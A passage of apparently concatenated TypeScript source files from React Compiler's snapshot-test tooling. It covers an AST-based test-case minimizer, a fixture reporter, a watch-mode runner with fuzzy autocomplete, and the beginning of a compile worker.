(t.isExpression(left)) {\n            path.replaceWith(left);\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with right side (assignment value)\n  for (let targetIdx = 0; targetIdx < assignmentCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      AssignmentExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.right);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies binary expressions (a + b) -> a or b\n */\nfunction* simplifyBinaryExpressions(ast: t.File): Generator<t.File> {\n  // Count binary expressions\n  let binaryCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isBinaryExpression(node)) {\n      binaryCount++;\n    }\n  });\n\n  // Try replacing with left side\n  for (let targetIdx = 0; targetIdx < binaryCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      BinaryExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.left);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with right side\n  for (let targetIdx = 0; targetIdx < binaryCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      BinaryExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.right);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies member expressions (obj.value) -> obj\n * For computed expressions: obj[key] -> obj or key\n */\nfunction* simplifyMemberExpressions(ast: t.File): Generator<t.File> {\n  // Count member expressions\n  let memberCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isMemberExpression(node)) {\n      memberCount++;\n    }\n  });\n\n  // Try replacing with object\n  for (let targetIdx = 0; targetIdx < memberCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      MemberExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.object);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // For computed expressions, also try replacing with key\n  for (let targetIdx = 0; targetIdx < memberCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      MemberExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.computed) {\n          const property = path.node.property;\n          if (t.isExpression(property)) {\n            path.replaceWith(property);\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Helper to collect all unique identifier names in the AST\n */\nfunction collectUniqueIdentifierNames(ast: t.File): Set<string> {\n  const names = new Set<string>();\n  t.traverseFast(ast, node => {\n    if (t.isIdentifier(node)) {\n      names.add(node.name);\n    }\n  });\n  return names;\n}\n\n/**\n * Helper to rename all occurrences of an identifier throughout the AST\n */\nfunction renameAllIdentifiers(\n  ast: t.File,\n  oldName: string,\n  newName: string,\n): boolean {\n  let modified = false;\n  t.traverseFast(ast, node => {\n    if (t.isIdentifier(node) && node.name === oldName) {\n      node.name = newName;\n      modified = true;\n    }\n  });\n  return modified;\n}\n\n/**\n * Generator that simplifies identifiers by removing \"on\" prefix.\n * onClick -> Click\n */\nfunction* simplifyIdentifiersRemoveOnPrefix(ast: t.File): Generator<t.File> {\n  const names = collectUniqueIdentifierNames(ast);\n\n  for (const name of names) {\n    // Check if name starts with \"on\" followed by uppercase letter\n    if (\n      name.length > 2 &&\n      name.startsWith('on') &&\n      name[2] === name[2].toUpperCase()\n    ) {\n      const newName = name.slice(2);\n      // Skip if the new name would conflict with an existing identifier\n      if (names.has(newName)) {\n        continue;\n      }\n      const cloned = cloneAst(ast);\n      if (renameAllIdentifiers(cloned, name, newName)) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that simplifies identifiers by removing \"Ref\" suffix.\n * inputRef -> input\n */\nfunction* simplifyIdentifiersRemoveRefSuffix(ast: t.File): Generator<t.File> {\n  const names = collectUniqueIdentifierNames(ast);\n\n  for (const name of names) {\n    // Check if name ends with \"Ref\" and has more characters before it\n    if (name.length > 3 && name.endsWith('Ref')) {\n      const newName = name.slice(0, -3);\n      // Skip if the new name would conflict with an existing identifier\n      if (names.has(newName)) {\n        continue;\n      }\n      // Skip if new name would be empty or just whitespace\n      if (newName.length === 0) {\n        continue;\n      }\n      const cloned = cloneAst(ast);\n      if (renameAllIdentifiers(cloned, name, newName)) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that rewrites \"ref\" identifier to \"ref_\" to avoid conflicts.\n */\nfunction* simplifyIdentifiersRenameRef(ast: t.File): Generator<t.File> {\n  const names = collectUniqueIdentifierNames(ast);\n\n  if (names.has('ref')) {\n    // Only rename if ref_ doesn't already exist\n    if (!names.has('ref_')) {\n      const cloned = cloneAst(ast);\n      if (renameAllIdentifiers(cloned, 'ref', 'ref_')) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * All simplification strategies in order of priority (coarse to fine)\n */\nconst simplificationStrategies = [\n  {name: 'removeStatements', generator: removeStatements},\n  {name: 'removeCallArguments', generator: removeCallArguments},\n  {name: 'removeFunctionParameters', generator: removeFunctionParameters},\n  {name: 'removeArrayElements', generator: removeArrayElements},\n  {name: 'removeObjectProperties', generator: removeObjectProperties},\n  {name: 'removeArrayPatternElements', generator: removeArrayPatternElements},\n  {\n    name: 'removeObjectPatternProperties',\n    generator: removeObjectPatternProperties,\n  },\n  {name: 'removeJSXAttributes', generator: removeJSXAttributes},\n  {name: 'removeJSXChildren', generator: removeJSXChildren},\n  {name: 'removeJSXFragmentChildren', generator: removeJSXFragmentChildren},\n  {name: 'simplifyCallExpressions', generator: simplifyCallExpressions},\n  {name: 'simplifyConditionals', generator: simplifyConditionals},\n  {name: 'simplifyLogicalExpressions', generator: simplifyLogicalExpressions},\n  {name: 'simplifyBinaryExpressions', generator: simplifyBinaryExpressions},\n  {\n    name: 'simplifyAssignmentExpressions',\n    generator: simplifyAssignmentExpressions,\n  },\n  {name: 'simplifySingleElementArrays', generator: simplifySingleElementArrays},\n  {\n    name: 'simplifySinglePropertyObjects',\n    generator: simplifySinglePropertyObjects,\n  },\n  {name: 'simplifyMemberExpressions', generator: simplifyMemberExpressions},\n  {name: 'simplifyOptionalChains', generator: simplifyOptionalChains},\n  {name: 'simplifyAwaitExpressions', generator: simplifyAwaitExpressions},\n  {name: 'simplifyIfStatements', generator: simplifyIfStatements},\n  {name: 'simplifySwitchStatements', generator: simplifySwitchStatements},\n  {name: 'simplifyWhileStatements', generator: simplifyWhileStatements},\n  {name: 'simplifyDoWhileStatements', generator: simplifyDoWhileStatements},\n  {name: 'simplifyForStatements', generator: simplifyForStatements},\n  {name: 'simplifyForInStatements', generator: simplifyForInStatements},\n  {name: 'simplifyForOfStatements', generator: simplifyForOfStatements},\n  {\n    name: 'simplifyVariableDeclarations',\n    generator: simplifyVariableDeclarations,\n  },\n  {name: 'simplifyTryStatements', generator: simplifyTryStatements},\n  {\n    name: 'simplifySingleStatementBlocks',\n    generator: simplifySingleStatementBlocks,\n  },\n  {\n    name: 'simplifyIdentifiersRemoveOnPrefix',\n    generator: simplifyIdentifiersRemoveOnPrefix,\n  },\n  {\n    name: 'simplifyIdentifiersRemoveRefSuffix',\n    generator: simplifyIdentifiersRemoveRefSuffix,\n  },\n  {\n    name: 'simplifyIdentifiersRenameRef',\n    generator: simplifyIdentifiersRenameRef,\n  },\n];\n\ntype MinimizeResult =\n  | {kind: 'success'}\n  | {kind: 'minimal'}\n  | {kind: 'minimized'; source: string};\n\n/**\n * Core minimization loop that attempts to reduce the input source code\n * while preserving the compiler error.\n */\nexport function minimize(\n  input: string,\n  filename: string,\n  language: 'flow' | 'typescript',\n  sourceType: 'module' | 'script',\n): MinimizeResult {\n  // Load the compiler plugin\n  const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<\n    string,\n    unknown\n  >;\n  const BabelPluginReactCompiler = importedCompilerPlugin[\n    'default'\n  ] as PluginObj;\n  const parseConfigPragmaForTests = importedCompilerPlugin[\n    PARSE_CONFIG_PRAGMA_IMPORT\n  ] as typeof ParseConfigPragma;\n\n  // Get the initial error\n  const initialResult = compileAndGetError(\n    input,\n    filename,\n    language,\n    sourceType,\n    BabelPluginReactCompiler,\n    parseConfigPragmaForTests,\n  );\n\n  if (initialResult.kind === 'success') {\n    return {kind: 'success'};\n  }\n\n  if (initialResult.kind === 'parse_error') {\n    return {kind: 'success'};\n  }\n\n  const targetError = initialResult;\n\n  // Parse the initial AST\n  let currentAst = parseInput(input, filename, language, sourceType);\n  let currentCode = input;\n  let changed = true;\n  let iterations = 0;\n  const maxIterations = 1000; // Safety limit\n\n  process.stdout.write('\\nMinimizing');\n\n  while (changed && iterations < maxIterations) {\n    changed = false;\n    iterations++;\n\n    // Try each simplification strategy\n    for (const strategy of simplificationStrategies) {\n      const generator = strategy.generator(currentAst);\n\n      for (const candidateAst of generator) {\n        let candidateCode: string;\n        try {\n          candidateCode = astToCode(candidateAst);\n        } catch {\n          // If code generation fails, skip this candidate\n          continue;\n        }\n\n        const result = compileAndGetError(\n          candidateCode,\n          filename,\n          language,\n          sourceType,\n          BabelPluginReactCompiler,\n          parseConfigPragmaForTests,\n        );\n\n        if (errorsMatch(targetError, result)) {\n          // This simplification preserves the error, keep it\n          currentAst = candidateAst;\n          currentCode = candidateCode;\n          changed = true;\n          process.stdout.write('.');\n          break; // Restart from the beginning with the new AST\n        }\n      }\n\n      if (changed) {\n        break; // Restart the outer loop\n      }\n    }\n  }\n\n  console.log('\\n');\n\n  // Check if any minimization was achieved\n  if (currentCode === input) {\n    return {kind: 'minimal'};\n  }\n\n  return {kind: 'minimized', source: currentCode};\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/reporter.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport chalk from 'chalk';\nimport fs from 'fs';\nimport invariant from 'invariant';\nimport {diff} from 'jest-diff';\nimport path from 'path';\n\nfunction wrapWithTripleBackticks(s: string, ext: string | null = null): string {\n  return `\\`\\`\\`${ext ?? ''}\n${s}\n\\`\\`\\``;\n}\nconst SPROUT_SEPARATOR = '\\n### Eval output\\n';\n\nexport function writeOutputToString(\n  input: string,\n  compilerOutput: string | null,\n  evaluatorOutput: string | null,\n  logs: string | null,\n  errorMessage: string | null,\n) {\n  // leading newline intentional\n  let result = `\n## Input\n\n${wrapWithTripleBackticks(input, 'javascript')}\n`; // trailing newline + space internional\n\n  if (compilerOutput != null) {\n    result += `\n## Code\n\n${wrapWithTripleBackticks(compilerOutput, 'javascript')}\n`;\n  } else {\n    result += '\\n';\n  }\n\n  if (logs != null) {\n    result += `\n## Logs\n\n${wrapWithTripleBackticks(logs, null)}\n`;\n  }\n\n  if (errorMessage != null) {\n    result += `\n## Error\n\n${wrapWithTripleBackticks(errorMessage.replace(/^\\/.*?:\\s/, ''))}\n          \\n`;\n  }\n  result += `      `;\n  if (evaluatorOutput != null) {\n    result += SPROUT_SEPARATOR + evaluatorOutput;\n  }\n  return result;\n}\n\nexport type TestResult = {\n  actual: string | null; // null == input did not exist\n  expected: string | null; // null == output did not exist\n  outputPath: string;\n  unexpectedError: string | null;\n};\nexport type TestResults = Map<string, TestResult>;\n\n/**\n * Update the fixtures directory given the compilation results\n */\nexport async function update(results: TestResults): Promise<void> {\n  let deleted = 0;\n  let updated = 0;\n  let created = 0;\n  const failed = [];\n  for (const [basename, result] of results) {\n    if (result.unexpectedError != null) {\n      console.log(\n        chalk.red.inverse.bold(' FAILED ') + ' ' + chalk.dim(basename),\n      );\n      failed.push([basename, result.unexpectedError]);\n    } else if (result.actual == null) {\n      // Input was deleted but the expect file still existed, remove it\n      console.log(\n        chalk.red.inverse.bold(' REMOVE ') + ' ' + chalk.dim(basename),\n      );\n      try {\n        fs.unlinkSync(result.outputPath);\n        console.log(' remove  ' + result.outputPath);\n        deleted++;\n      } catch (e) {\n        console.error(\n          '[Snap tester error]: failed to remove ' + result.outputPath,\n        );\n        failed.push([basename, result.unexpectedError]);\n      }\n    } else if (result.actual !== result.expected) {\n      // Expected output has changed\n      console.log(\n        chalk.blue.inverse.bold(' UPDATE ') + ' ' + chalk.dim(basename),\n      );\n      try {\n        fs.writeFileSync(result.outputPath, result.actual, 'utf8');\n      } catch (e) {\n        if (e?.code === 'ENOENT') {\n          // May have failed to create nested dir, so make a directory and retry\n          fs.mkdirSync(path.dirname(result.outputPath), {recursive: true});\n          fs.writeFileSync(result.outputPath, result.actual, 'utf8');\n        }\n      }\n      if (result.expected == null) {\n        created++;\n      } else {\n        updated++;\n      }\n    } else {\n      // Expected output is current\n      console.log(\n        chalk.green.inverse.bold('  OKAY  ') + ' ' + chalk.dim(basename),\n      );\n    }\n  }\n  console.log(\n    `${deleted} Deleted, ${created} Created, ${updated} Updated, ${failed.length} Failed`,\n  );\n  for (const [basename, errorMsg] of failed) {\n    console.log(`${chalk.red.bold('Fail:')} ${basename}\\n${errorMsg}`);\n  }\n}\n\n/**\n * Report test results to the user\n * @returns boolean indicatig whether all tests passed\n */\nexport function report(\n  results: TestResults,\n  verbose: boolean = false,\n): boolean {\n  const failures: Array<[string, TestResult]> = [];\n  for (const [basename, result] of results) {\n    if (result.actual === result.expected && result.unexpectedError == null) {\n      if (verbose) {\n        console.log(\n          chalk.green.inverse.bold(' PASS ') + ' ' + chalk.dim(basename),\n        );\n      }\n    } else {\n      if (verbose) {\n        console.log(\n          chalk.red.inverse.bold(' FAIL ') + ' ' + chalk.dim(basename),\n        );\n      }\n      failures.push([basename, result]);\n    }\n  }\n\n  if (failures.length !== 0) {\n    console.log('\\n' + chalk.red.bold('Failures:') + '\\n');\n\n    for (const [basename, result] of failures) {\n      console.log(chalk.red.bold('FAIL:') + ' ' + basename);\n      if (result.unexpectedError != null) {\n        console.log(\n          ` >> Unexpected error during test: \\n${result.unexpectedError}`,\n        );\n      } else {\n        if (result.expected == null) {\n          invariant(result.actual != null, '[Tester] Internal failure.');\n          console.log(\n            chalk.red('[ expected fixture output is absent ]') + '\\n',\n          );\n        } else if (result.actual == null) {\n          invariant(result.expected != null, '[Tester] Internal failure.');\n          console.log(\n            chalk.red(`[ fixture input for ${result.outputPath} is absent ]`) +\n              '\\n',\n          );\n        } else {\n          console.log(diff(result.expected, result.actual) + '\\n');\n        }\n      }\n    }\n  }\n\n  console.log(\n    `${results.size} Tests, ${results.size - failures.length} Passed, ${\n      failures.length\n    } Failed`,\n  );\n  return failures.length === 0;\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/runner-watch.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport watcher from '@parcel/watcher';\nimport path from 'path';\nimport ts from 'typescript';\nimport {FIXTURES_PATH, BABEL_PLUGIN_ROOT} from './constants';\nimport {TestFilter, getFixtures} from './fixture-utils';\nimport {execSync} from 'child_process';\n\nexport function watchSrc(\n  onStart: () => void,\n  onComplete: (isSuccess: boolean) => void,\n): ts.WatchOfConfigFile<ts.SemanticDiagnosticsBuilderProgram> {\n  const configPath = ts.findConfigFile(\n    /*searchPath*/ BABEL_PLUGIN_ROOT,\n    ts.sys.fileExists,\n    'tsconfig.json',\n  );\n  if (!configPath) {\n    throw new Error(\"Could not find a valid 'tsconfig.json'.\");\n  }\n  const createProgram = ts.createSemanticDiagnosticsBuilderProgram;\n  const host = ts.createWatchCompilerHost(\n    configPath,\n    undefined,\n    ts.sys,\n    createProgram,\n    () => {}, // we manually report errors in afterProgramCreate\n    () => {}, // we manually report watch status\n  );\n\n  const origCreateProgram = host.createProgram;\n  host.createProgram = (rootNames, options, host, oldProgram) => {\n    onStart();\n    return origCreateProgram(rootNames, options, host, oldProgram);\n  };\n  host.afterProgramCreate = program => {\n    /**\n     * Avoid calling original postProgramCreate because it always emits tsc\n     * compilation output\n     */\n\n    // syntactic diagnostics refer to javascript syntax\n    const errors = program\n      .getSyntacticDiagnostics()\n      .filter(diag => diag.category === ts.DiagnosticCategory.Error);\n    // semantic diagnostics refer to typescript semantics\n    errors.push(\n      ...program\n        .getSemanticDiagnostics()\n        .filter(diag => diag.category === ts.DiagnosticCategory.Error),\n    );\n\n    if (errors.length > 0) {\n      for (const diagnostic of errors) {\n        let fileLoc: string;\n        if (diagnostic.file) {\n          // https://github.com/microsoft/TypeScript/blob/ddd5084659c423f4003d2176e12d879b6a5bcf30/src/compiler/program.ts#L663-L674\n          const {line, character} = ts.getLineAndCharacterOfPosition(\n            diagnostic.file,\n            diagnostic.start!,\n          );\n          const fileName = path.relative(\n            ts.sys.getCurrentDirectory(),\n            diagnostic.file.fileName,\n          );\n          fileLoc = `${fileName}:${line + 1}:${character + 1} - `;\n        } else {\n          fileLoc = '';\n        }\n        console.error(\n          `${fileLoc}error TS${diagnostic.code}:`,\n          ts.flattenDiagnosticMessageText(diagnostic.messageText, '\\n'),\n        );\n      }\n      console.error(\n        `Compilation failed (${errors.length} ${\n          errors.length > 1 ? 'errors' : 'error'\n        }).\\n`,\n      );\n    }\n\n    const isSuccess = errors.length === 0;\n    onComplete(isSuccess);\n  };\n\n  // `createWatchProgram` creates an initial program, watches files, and updates\n  // the program over time.\n  return ts.createWatchProgram(host);\n}\n\n/**\n * Watch mode helpers\n */\nexport enum RunnerAction {\n  Test = 'Test',\n  Update = 'Update',\n}\n\ntype RunnerMode = {\n  action: RunnerAction;\n  filter: boolean;\n};\n\nexport type RunnerState = {\n  // Monotonically increasing integer to describe the 'version' of the compiler.\n  // This is passed to `compile()` when compiling, so that the worker knows when\n  // to reset its module cache (compared to using its cached compiler version)\n  compilerVersion: number;\n  isCompilerBuildValid: boolean;\n  // timestamp of the last update\n  lastUpdate: number;\n  mode: RunnerMode;\n  filter: TestFilter | null;\n  debug: boolean;\n  // Input mode for interactive pattern entry\n  inputMode: 'none' | 'pattern';\n  inputBuffer: string;\n  // Autocomplete state\n  allFixtureNames: Array<string>;\n  matchingFixtures: Array<string>;\n  selectedIndex: number;\n  // Track last run status of each fixture (for autocomplete suggestions)\n  fixtureLastRunStatus: Map<string, 'pass' | 'fail'>;\n};\n\nfunction subscribeFixtures(\n  state: RunnerState,\n  onChange: (state: RunnerState) => void,\n) {\n  // Watch the fixtures directory for changes\n  watcher.subscribe(FIXTURES_PATH, async (err, _events) => {\n    if (err) {\n      console.error(err);\n      process.exit(1);\n    }\n    // Try to ignore changes that occurred as a result of our explicitly updating\n    // fixtures in update().\n    // Currently keeps a timestamp of last known changes, and ignore events that occurred\n    // around that timestamp.\n    const isRealUpdate = performance.now() - state.lastUpdate > 5000;\n    if (isRealUpdate) {\n      // Fixtures changed, re-run tests\n      state.mode.action = RunnerAction.Test;\n      onChange(state);\n    }\n  });\n}\n\nfunction subscribeTsc(\n  state: RunnerState,\n  onChange: (state: RunnerState) => void,\n) {\n  // Run TS in incremental watch mode\n  watchSrc(\n    function onStart() {\n      // Notify the user when compilation starts but don't clear the screen yet\n      console.log('\\nCompiling...');\n    },\n    isTypecheckSuccess => {\n      let isCompilerBuildValid = false;\n      if (isTypecheckSuccess) {\n        try {\n          execSync('yarn build', {cwd: BABEL_PLUGIN_ROOT});\n          console.log('Built compiler successfully with tsup');\n          isCompilerBuildValid = true;\n        } catch (e) {\n          console.warn('Failed to build compiler with tsup:', e);\n        }\n      }\n      // Bump the compiler version after a build finishes\n      // and re-run tests\n      if (isCompilerBuildValid) {\n        state.compilerVersion++;\n      }\n      state.isCompilerBuildValid = isCompilerBuildValid;\n      state.mode.action = RunnerAction.Test;\n      onChange(state);\n    },\n  );\n}\n\n/**\n * Levenshtein edit distance between two strings\n */\nfunction editDistance(a: string, b: string): number {\n  const m = a.length;\n  const n = b.length;\n\n  // Create a 2D array for memoization\n  const dp: number[][] = Array.from({length: m + 1}, () =>\n    Array(n + 1).fill(0),\n  );\n\n  // Base cases\n  for (let i = 0; i <= m; i++) dp[i][0] = i;\n  for (let j = 0; j <= n; j++) dp[0][j] = j;\n\n  // Fill in the rest\n  for (let i = 1; i <= m; i++) {\n    for (let j = 1; j <= n; j++) {\n      if (a[i - 1] === b[j - 1]) {\n        dp[i][j] = dp[i - 1][j - 1];\n      } else {\n        dp[i][j] = 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1]);\n      }\n    }\n  }\n\n  return dp[m][n];\n}\n\nfunction filterFixtures(\n  allNames: Array<string>,\n  pattern: string,\n): Array<string> {\n  if (pattern === '') {\n    return allNames;\n  }\n  const lowerPattern = pattern.toLowerCase();\n  const matches = allNames.filter(name =>\n    name.toLowerCase().includes(lowerPattern),\n  );\n  // Sort by edit distance (lower = better match)\n  matches.sort((a, b) => {\n    const distA = editDistance(lowerPattern, a.toLowerCase());\n    const distB = editDistance(lowerPattern, b.toLowerCase());\n    return distA - distB;\n  });\n  return matches;\n}\n\nconst MAX_DISPLAY = 15;\n\nfunction renderAutocomplete(state: RunnerState): void {\n  // Clear terminal\n  console.log('\\u001Bc');\n\n  // Show current input\n  console.log(`Pattern: ${state.inputBuffer}`);\n  console.log('');\n\n  // Get current filter pattern if active\n  const currentFilterPattern =\n    state.mode.filter && state.filter ? state.filter.paths[0] : null;\n\n  // Show matching fixtures (limit to MAX_DISPLAY)\n  const toShow = state.matchingFixtures.slice(0, MAX_DISPLAY);\n\n  toShow.forEach((name, i) => {\n    const isSelected = i === state.selectedIndex;\n    const matchesCurrentFilter =\n      currentFilterPattern != null &&\n      name.toLowerCase().includes(currentFilterPattern.toLowerCase());\n\n    let prefix: string;\n    if (isSelected) {\n      prefix = '> ';\n    } else if (matchesCurrentFilter) {\n      prefix = '* ';\n    } else {\n      prefix = '  ';\n    }\n    console.log(`${prefix}${name}`);\n  });\n\n  if (state.matchingFixtures.length > MAX_DISPLAY) {\n    console.log(\n      `  ... and ${state.matchingFixtures.length - MAX_DISPLAY} more`,\n    );\n  }\n\n  console.log('');\n  console.log('↑/↓/Tab navigate | Enter select | Esc cancel');\n}\n\nfunction subscribeKeyEvents(\n  state: RunnerState,\n  onChange: (state: RunnerState) => void,\n) {\n  process.stdin.on('keypress', async (str, key) => {\n    // Handle input mode (pattern entry with autocomplete)\n    if (state.inputMode !== 'none') {\n      if (key.name === 'return') {\n        // Enter pressed - use selected fixture or typed text\n        let pattern: string;\n        if (\n          state.selectedIndex >= 0 &&\n          state.selectedIndex < state.matchingFixtures.length\n        ) {\n          pattern = state.matchingFixtures[state.selectedIndex];\n        } else {\n          pattern = state.inputBuffer.trim();\n        }\n\n        state.inputMode = 'none';\n        state.inputBuffer = '';\n        state.allFixtureNames = [];\n        state.matchingFixtures = [];\n        state.selectedIndex = -1;\n\n        if (pattern !== '') {\n          state.filter = {paths: [pattern]};\n          state.mode.filter = true;\n          state.mode.action = RunnerAction.Test;\n          onChange(state);\n        }\n        return;\n      } else if (key.name === 'escape') {\n        // Cancel input mode\n        state.inputMode = 'none';\n        state.inputBuffer = '';\n        state.allFixtureNames = [];\n        state.matchingFixtures = [];\n        state.selectedIndex = -1;\n        // Redraw normal UI\n        onChange(state);\n        return;\n      } else if (key.name === 'up' || (key.name === 'tab' && key.shift)) {\n        // Navigate up in autocomplete list\n        if (state.matchingFixtures.length > 0) {\n          if (state.selectedIndex <= 0) {\n            state.selectedIndex =\n              Math.min(state.matchingFixtures.length, MAX_DISPLAY) - 1;\n          } else {\n            state.selectedIndex--;\n          }\n          renderAutocomplete(state);\n        }\n        return;\n      } else if (key.name === 'down' || (key.name === 'tab' && !key.shift)) {\n        // Navigate down in autocomplete list\n        if (state.matchingFixtures.length > 0) {\n          const maxIndex =\n            Math.min(state.matchingFixtures.length, MAX_DISPLAY) - 1;\n          if (state.selectedIndex >= maxIndex) {\n            state.selectedIndex = 0;\n          } else {\n            state.selectedIndex++;\n          }\n          renderAutocomplete(state);\n        }\n        return;\n      } else if (key.name === 'backspace') {\n        if (state.inputBuffer.length > 0) {\n          state.inputBuffer = state.inputBuffer.slice(0, -1);\n          state.matchingFixtures = filterFixtures(\n            state.allFixtureNames,\n            state.inputBuffer,\n          );\n          state.selectedIndex = -1;\n          renderAutocomplete(state);\n        }\n        return;\n      } else if (str && !key.ctrl && !key.meta) {\n        // Regular character - accumulate, filter, and render\n        state.inputBuffer += str;\n        state.matchingFixtures = filterFixtures(\n          state.allFixtureNames,\n          state.inputBuffer,\n        );\n        state.selectedIndex = -1;\n        renderAutocomplete(state);\n        return;\n      }\n      return; // Ignore other keys in input mode\n    }\n\n    // Normal mode keypress handling\n    if (key.name === 'u') {\n      // u => update fixtures\n      state.mode.action = RunnerAction.Update;\n    } else if (key.name === 'q') {\n      process.exit(0);\n    } else if (key.name === 'a') {\n      // a => exit filter mode and run all tests\n      state.mode.filter = false;\n      state.filter = null;\n      state.mode.action = RunnerAction.Test;\n    } else if (key.name === 'd') {\n      // d => toggle debug logging\n      state.debug = !state.debug;\n      state.mode.action = RunnerAction.Test;\n    } else if (key.name === 'p') {\n      // p => enter pattern input mode with autocomplete\n      state.inputMode = 'pattern';\n      state.inputBuffer = '';\n\n      // Load all fixtures for autocomplete\n      const fixtures = await getFixtures(null);\n      state.allFixtureNames = Array.from(fixtures.keys()).sort();\n      // Show failed fixtures first when no pattern entered\n      const failedFixtures = Array.from(state.fixtureLastRunStatus.entries())\n        .filter(([_, status]) => status === 'fail')\n        .map(([name]) => name)\n        .sort();\n      state.matchingFixtures =\n        failedFixtures.length > 0 ? failedFixtures : state.allFixtureNames;\n      state.selectedIndex = -1;\n\n      renderAutocomplete(state);\n      return; // Don't trigger onChange yet\n    } else {\n      // any other key re-runs tests\n      state.mode.action = RunnerAction.Test;\n    }\n    onChange(state);\n  });\n}\n\nexport async function makeWatchRunner(\n  onChange: (state: RunnerState) => void,\n  debugMode: boolean,\n  initialPattern?: string,\n): Promise<void> {\n  // Determine initial filter state\n  let filter: TestFilter | null = null;\n  let filterEnabled = false;\n\n  if (initialPattern) {\n    filter = {paths: [initialPattern]};\n    filterEnabled = true;\n  }\n\n  const state: RunnerState = {\n    compilerVersion: 0,\n    isCompilerBuildValid: false,\n    lastUpdate: -1,\n    mode: {\n      action: RunnerAction.Test,\n      filter: filterEnabled,\n    },\n    filter,\n    debug: debugMode,\n    inputMode: 'none',\n    inputBuffer: '',\n    allFixtureNames: [],\n    matchingFixtures: [],\n    selectedIndex: -1,\n    fixtureLastRunStatus: new Map(),\n  };\n\n  subscribeTsc(state, onChange);\n  subscribeFixtures(state, onChange);\n  subscribeKeyEvents(state, onChange);\n}\n"
  },
  {
    "path": "compiler/packages/snap/src/runner-worker.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {PluginObj} from '@babel/core';\nimport type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';\nimport type {printFunctionWithOutlined as PrintFunctionWithOutlined} from 'babel-plugin-react-compiler/src/HIR/PrintHIR';\nimport type {printReactiveFunctionWithOutlined as PrintReactiveFunctionWithOutlined} from 'babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction';\nimport {TransformResult, transformFixtureInput} from './compiler';\nimport {\n  PARSE_CONFIG_PRAGMA_IMPORT,\n  PRINT_HIR_IMPORT,\n  PRINT_REACTIVE_IR_IMPORT,\n  BABEL_PLUGIN_SRC,\n} from './constants';\nimport {TestFixture, getBasename, isExpectError} from './fixture-utils';\nimport {TestResult, writeOutputToString} from './reporter';\nimport {runSprout} from './sprout';\nimport type {\n  CompilerPipelineValue,\n  Effect,\n  ValueKind,\n  ValueReason,\n} from 'babel-plugin-react-compiler/src';\nimport chalk from 'chalk';\n\nconst originalConsoleError = console.error;\n\n// Try to avoid clearing the entire require cache, which (as of this PR)\n// contains ~1250 files. This assumes that no dependencies have global caches\n// that may need to be invalidated across Forget reloads.\nconst invalidationSubpath = 'packages/babel-plugin-react-compiler/dist';\nlet version: number | null = null;\nexport function clearRequireCache() {\n  Object.keys(require.cache).forEach(function (path) {\n    if (path.includes(invalidationSubpath)) {\n      delete require.cache[path];\n    }\n  });\n}\n\nasync function compile(\n  input: string,\n  fixturePath: string,\n  compilerVersion: number,\n  shouldLog: boolean,\n  includeEvaluator: boolean,\n): Promise<{\n  error: string | null;\n  compileResult: TransformResult | null;\n}> {\n  const seenConsoleErrors: Array<string> = [];\n  console.error = (...messages: Array<string>) => {\n    seenConsoleErrors.push(...messages);\n  };\n  if (version !== null && compilerVersion !== version) {\n    clearRequireCache();\n  }\n  version = compilerVersion;\n\n  let compileResult: TransformResult | null = null;\n  let error: string | null = null;\n  try {\n    const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<\n      string,\n      unknown\n    >;\n\n    // NOTE: we intentionally require lazily here so that we can clear the require cache\n    // and load fresh versions of the compiler when `compilerVersion` changes.\n    const BabelPluginReactCompiler = importedCompilerPlugin[\n      'default'\n    ] as PluginObj;\n    const EffectEnum = importedCompilerPlugin['Effect'] as typeof Effect;\n    const ValueKindEnum = 